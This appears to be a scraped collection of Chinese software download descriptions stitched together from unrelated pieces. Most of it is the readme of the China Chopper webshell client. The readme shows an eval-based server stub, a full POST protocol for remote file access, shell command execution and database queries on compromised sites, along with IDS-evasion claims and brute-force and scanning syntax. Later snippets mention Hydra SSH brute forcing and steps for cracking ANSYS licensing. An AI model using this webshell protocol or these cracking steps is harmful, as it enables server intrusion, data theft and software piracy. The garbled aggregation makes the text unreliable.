产品名称：中国菜刀(Chinachopper)生产厂家：中国菜刀贸易有限公司厂家地址：http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明： 请使用者注意使用环境并遵守国家相关法律法规！ 由于使用不当造成的后果本厂家不承担任何责任！----------------------------------------------------------------------------------------------------------友情提示：程序在使用过程中难免有各种BUG，到官网看一下是否有更新吧，说不定己经修补了呢。
UINCODE方式编译，支持多国语言输入显示。
在非简体中文环境下使用，自动更换成英文界面，翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分　　1）要了解的　　服务端只需要简单的一行代码，即可用此程序实现常用的管理功能，功能代码二次编码后发送，过IDS的能力大幅提高。
　　目前支持的服务端脚本：PHP,ASP,ASP.NET，并且支持https安全连接的网站。
　　在服务端运行的代码如下：　　PHP:　　ASP:　　ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)　　Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
　　2）怎么用　　在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(请注意上例中的pass字串)，选择正确的脚本类型和语言编码，　　保存后即可使用文件管理，虚拟终端，数据库管理三大块功能，同时支持自定义的脚本执行，并可以导入导出数据。
　　要是其它都没错误，那么可能就是你把语言编码选错了。
　　1.文件管理：[特色]缓存下载目录，并支持离线查看缓存目录;　　2.虚拟终端：[特色]人性化的设计，操作方便;(输入HELP查看更多用法)　　3.数据库管理：[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)　　注意：由于服务器的安全设置，某些功能可能不能正常使用。
　　3)关于配置信息怎么填？ A)数据库方面： PHP脚本： 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址，如localhost 数据库用户连接数据库的用户名，如root 数据库密码连接数据库的密码，如123455 ASP和ASP.NET脚本： 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时，支持NT验证登录MSSQL数据库，并能把查询的结果列表导出为html文件 Customize脚本： 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行)： MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面： 添加额外附加提交的数据，如ASP的新服务端是这样的： 那么，菜刀在配置处填入： SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包：会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456　　3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描　　蜘蛛爬行，绑定域名查询，目录爆破。
　　命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器，并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行，并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行，过滤重复URL加快速度 加上{filter} G)爆破功能，%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE，否则包含关键字为TRUE list.txt为当前目录下的文件，可设为绝对路径，注意：不要包含太多的行。
注：从20100626版开始，list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒　　当闹钟来用吧,周期：每月/每周/每日/只一次。
四、快速启动　　一些常用的快捷方式放在这里，可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器　　就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分　　等待加入。
文件说明：------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例：菜刀客户端填写的密码为pass，网页编码选的是GB2312注：所有参数都以POST提交，返回的数据都要以-＞|为开始标记，|＜-为结束标记注：返回的错误信息开头包含ERROR://注：\t代表制表符TAB，\r\n代表换行回车，\n代表回车注：数据库配置信息是一个字符串，服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交：pass=A&z0=GB2312返回：目录的绝对路径\t，如果是Windows系统后面接着加上驱动器列表示例：c:\inetpub\wwwroot\ C:D:E:K:示例：/var/www/html/ [目录浏览]提交：pass=B&z0=GB2312&z1=目录绝对路径返回：先目录后文件,目录名后要加/，文件名后不要加/示例： 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交：pass=C&z0=GB2312&z1=文件绝对路径返回：文本文件的内容[写入文本文件]提交：pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回：成功返回1,不成功返回错误信息[删除文件或目录]提交：pass=E&z0=GB2312&z1=文件或目录的绝对路径返回：成功返回1,不成功返回错误信息[下载文件]提交：pass=F&z0=GB2312&z1=服务器文件的绝对路径返回：要下载文件的内容[上传文件]提交：pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回：要下载文件的内容[复制文件或目录后粘贴]提交：pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回：成功返回1,不成功返回错误信息[文件或目录重命名]提交：pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回：成功返回1,不成功返回错误信息[新建目录]提交：pass=J&z0=GB2312&z1=新目录名(绝对路径)返回：成功返回1,不成功返回错误信息[修改文件或目录时间]提交：pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式：yyyy-MM-ddHH:mm:ss)返回：成功返回1,不成功返回错误信息[下载文件到服务器]提交：pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回：成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交：pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回：命令执行结果[得到数据库基本信息]提交：pass=N&z0=GB2312&z1=数据库配置信息返回：成功返回数据库(以制表符\t分隔)，不成功返回错误信息[获取数据库表名]提交：pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回：成功返回数据表(以\t分隔)，不成功返回错误信息[获取数据表列名]提交：pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回：成功返回数据列(以制表符\t分隔)，不成功返回错误信息[执行数据库命令]提交：pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回：成功返回数据表内容，不成功返回错误信息注意：返回的第一行为表头，接下去每行分别在列表中显示，列数要求一致。
行中的每列后加上\t|\t标记，每行以标记\r\n为结束

相比之前的那个【简单版】登录界面，该模板新增：1、js回车事件，并且能够兼容多个浏览器；
2、界面布局的层次结构优化；
3、按钮监听响应事件的实现方式优化；
4、包含全屏方法的实现；
5、连个div块的叠加；
---------------------------以下为上个版本介绍---------------------------用html、JS、css写的一个登录界面的网页。
可以进行用户名、密码判断；
界面跳转。
当然，该例子主要是展示css对页面的美化效果。

kali-hydra暴力破解ssh实战，（字典很大的情形，包含排障过程），工具使用的就是kali自带的hydra，原本以为暴力破解输入命令，回车就行了，但实际上会遇到很多问题，密码字典使用crunch命令生成。

汇编编程代码编写程序，接受从键盘输入的10个十进制数字，输入中遇到回车符则停止输入，各个数经过bcd码处理，以十六进制显示在屏幕上

1、打开“Crack\ProgramFiles\ANSYSInc”破解文件夹，将“SharedFiles”内所有文件复制到打开ANSYS18.0安装根目录下，并替代源文件，根目录默认路径为C:\ProgramFiles\ANSYSInc2、运行安装包下的“A180_Calc.exe”，输入”Y"，敲击回车生成许可文件3、然后将许可文件“license.txt”复制到安装目录下载入即可

下载后，双击运行程序。
输入你想下载历史文章的微信公众号ID（一般以数字字母组合可以从公众号信息名片上看到，不是对话窗口那个名称）。
然后输入你想下载的页数，按回车即可。
程序自动下载文章对应的链接和标题。
方便检索和查看。
需要浏览具体内容时，直接点击链接即可。

Enscape是现在比较火的即时渲染器之一，今天分享的是我早前整理的一套Enscape材质库，在使用时可以通过SketchUp材质面板调取。
使用方法：方法1：打开SketchUp通过材质面板中的”打开和创建材质库”方法2：直接将材质文件放置到SketchUp材质文件夹中，操作方法：打开SketchUp后，找到菜单栏”窗口”——”系统设置”——”文件”——”材质”,复制路径到我的电脑地址栏，回车后将Enscape材质库整个文件夹复制进去即可。
重启SketchUp后，在材质面板中可以查看到。

文件版本：10.0.15063.01、将里面的hh.exe文件放置电脑C:\Windows目录下；
将hhctrl.ocx，itss.dll两个文件放置C:\Windows\System32目录下；
将hh.exe，hhctrl.ocx，itss.dll放置在C:\Windows\SysWOW64。
2、以管理员方式打开cmd（命令提示符），输入：regsvr32hhctrl.ocx和regsvr32itss.dll分别回车后出现以下两个提示说明成功。
发觉hh.exe其实是有版本差别的，有时候用到不对的版本会出问题。
网上找到的都是很低的版本，所以上传了这个。

一、软件的具体操作1.建一个文件夹，里面必须有四个文件(Dblank；
deap；
deap.000；
123.dta)前三个文件在一般下载的DEAPVersion2.1中都有，直接复制过来就可以，第四个文件是一个数据文件，一般先在excel中先输入，再复制到一个记事本下就可以，注意在记事本下的数据只有数据，不包括决策单元的名称和投入、产出的名称，并且一定要先放产出，后是投入。
例子具体见123电子表格和123记事本。
2.对命令Dblank文件进行修改,修改后保存为123.ins文件3.打开deap软件,运行123.ins4,回车后自动会有123.out注意事项：(1)123.dta；
Dblank；
123.ins都用记事本打开；
(2)数据文件名和命令文件名一定要一样，如例子中都用123(3)文件夹中一定要包括deap.000文件，如果没有这个文件，打开deap软件，就会出现一闪就没有了的情况。
二，结果的分析在文件夹中打开123.out，看如下：1)firmcrstevrstescale10.6871.0000.687drs20.8141.0000.814drs30.3190.7090.450drs41.0001.0001.000-51.0001.0001.000-60.3360.4250.791drs70.6420.6480.991irs80.3790.3810.994irs90.7020.7500.936irs101.0001.0001.000-110.3040.4610.659irs120.3521.0000.352irs131.0001.0001.000-140.5940.9290.639irs150.4021.0000.402irsmean0.6350.8200.781firm：代表例子中的15的样本crste：技术效率，也叫综合效率vrste：纯技术效率scale：规模效率(drs：规模报酬递减；
-：规模报酬不变；
irs：规模报酬递增)crste=vrste×scale2)Resultsforfirm:3Technicalefficiency=0.709Scaleefficiency=0.450(drs)PROJECTIONSUMMARY:variableoriginalradialslackprojectedvaluemovementmovementvalueoutput17326.3800.0000.0007326.380output2119.9100.0000.000119.910input115427.000-4496.0100.00010930.990input25257.970-1532.371-1643.8282081.771第三个样本的具体分析如下：纯技术效率=0.709规模效率=0.450(drs)：规模报酬应该递减第三个样本的投入产出情况分析：第一、二产出均没有冗余情况(因为其radialmovement和slackmovement均为零)第一个投入要素有投入冗余4496.010；
第二投入要素有投入冗余3176.199=1532.371+1643.828这个意思是说按第三个样本现在的产出冗余第一个投入要素可以减少4496.010，第二个投入要素可以减少3176.199Resultsforfirm:8Technicalefficiency=0.381Scaleefficiency=0.994(irs)PROJECTION

下载完成后解压zip压缩包，将MbrFix.exe复制到C盘根目录(系统盘)；
开始–＞运行–＞cmd–cd\命令进入C盘符–＞运行命令：MbrFix/drive0fixmbr/yes–＞Enter回车；
这样MBR修复就完成了。
接下来直接删除linux分区就可以了。

在日常工作中，钉钉打卡成了我生活中不可或缺的一部分。然而，有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚，我总是得牢记打开钉钉应用，点击"工作台"，再找到"考勤打卡"进行签到。有时候因为工作忙碌，会忘记打卡，导致考勤异常，影响当月的工作评价。而且，由于我使用的是苹果手机，有时候系统更新后，钉钉的某些功能会出现异常，使得打卡变得更加麻烦。 另外，我的家人使用的是安卓手机，他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说，每次打卡都是一次挑战。他们总是担心自己会操作失误，导致打卡失败。 为了解决这些烦恼，我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习，我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。